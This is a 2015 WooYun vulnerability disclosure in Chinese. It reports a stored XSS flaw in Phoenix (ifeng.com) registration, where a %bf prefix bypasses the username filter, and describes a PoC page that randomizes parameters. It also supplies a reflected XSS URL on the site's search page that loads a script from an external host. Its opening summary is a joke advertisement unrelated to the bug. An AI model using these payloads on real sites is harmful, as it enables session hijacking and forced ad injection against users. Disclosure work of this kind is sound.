漏洞概要 关注数(24) 关注此漏洞
缺陷编号:wooyun-2015-0110379
漏洞标题:凤凰网首页XSS Rookit可向用户推送广告(影响多个分站)
相关厂商:凤凰网
漏洞作者: q601333824
提交时间:2015-04-26 08:33
修复时间:2015-06-10 11:40
公开时间:2015-06-10 11:40
漏洞类型:xss跨站脚本攻击
危害等级:中
自评Rank:5
漏洞状态:厂商已经确认
漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]
Tags标签: 无
漏洞详情
披露状态:
2015-04-26: 细节已通知厂商并且等待厂商处理中
2015-04-26: 厂商已经确认,细节仅向厂商公开
2015-05-06: 细节向核心白帽子及相关领域专家公开
2015-05-16: 细节向普通白帽子公开
2015-05-26: 细节向实习白帽子公开
2015-06-10: 细节向公众公开
简要描述:
由于厂家倒闭,现在直销,清仓大甩卖,机房配件,每样九块九,对,样样九块九,主机九块九,交换机九块九,路由器九块九,防火墙九块九,样样九块九(别在意标题,其实我不知道Rookit什么意思 (=_=))
详细说明:
1.凤凰网注册的时候会让用户填写用户名,然后抓取整个过程
2.自己猜测大概的过程,填写用户名,提交之后,会生成cook里面的token(也就是sid),然后返回给用户,通过setid和settoken,让用户用得到的token登录,也就是说,用户是否在线,关键取决于token.也就是sid
3.但是看这张图,第一次提交的过程中,cook中并没有sid,换句话就是说,就算未登录状态也能通过提交注册用户名,从而获得cook.(因为没有sid,就是说,没有验证是否用户真的在线)
4.,这种缺陷有两个危害
(1).无限提交导致数据库插入无用数据,导致数据库变大,严重导致数据库出错
第一个例子: WooYun: 百度传课物理路径泄漏 (现在已经修复了)
这个例子出现的问题就是,用百度帐号快速登录,但是快速登录的过程,只验证了百度的名字ID,但是并没有验证百度cook,就像厂商说的,生成无用数据,导致数据库报错
(2)第二种就是导致出现可以重置用户CSRF
第二个例子: WooYun: 乐视网CSRF漏洞可重置任意用户密码 (现在已经修复了)
这个例子就是,我通过快速用户登录的,没有邮箱和密码,快速登录的用户设置密码和邮箱,影响到了已经设置过邮箱和密码的用户了
-----------------------------------------------------------------------------------------------
5.然后我得到设置用户名的连接:
6.简化连接得到:
7.其中参数:
①uid:代表用户UID,随便填写,但是不能写已经存在的UID,会提示帐号已经保定第三方
②n: 代表用户设置的用户名字,随便填写,但是不能写已经存在的用户名,会提示用户名已经注册
8.其中参数 n 可以插入XSS代码,再XSS代码前面加%bf<XSS代码>,可以绕过格式错误的检查
比如
https://id.ifeng.com/api/TrdPtyReg?uid=XXXXXXX&n=XXXXXX%bf<XSS代码>
9.有人说,一个连接用过不能用了,再给别人用,就会提示,用户名已经注册,或者UID已经绑定用户,所以写了一段html代码
10.上面那段代码,大概就是,先设置个数组,然后通过随机取出数组的参数,拼凑起来的十位,得到随机获得十位参数,然后通过变量赋值,动态修改连接uid参数,n参数,但是后面XSS代码是不变
-------------------------------------------------------------------------------------------
11.先访问poc网页,再访问凤凰网首页(可以影响别的分站)
漏洞证明:
修复方案:
①.快速登录最容易忽视的地方
②。修改n参数%bf后面的XSS代码
③。再送一枚反射XSS漏洞:http://search.ifeng.com/sofeng/search.action?q=96315%3Cscript%20src=%22//fripside.sinaapp.com/1aaa.js%22%3E
版权声明:转载请注明来源 q601333824@乌云
漏洞回应
厂商回应:
危害等级:中
漏洞Rank:6
确认时间:2015-04-26 11:38
厂商回复:
非常感谢您对凤凰网信息安全的帮助。
最新状态:
暂无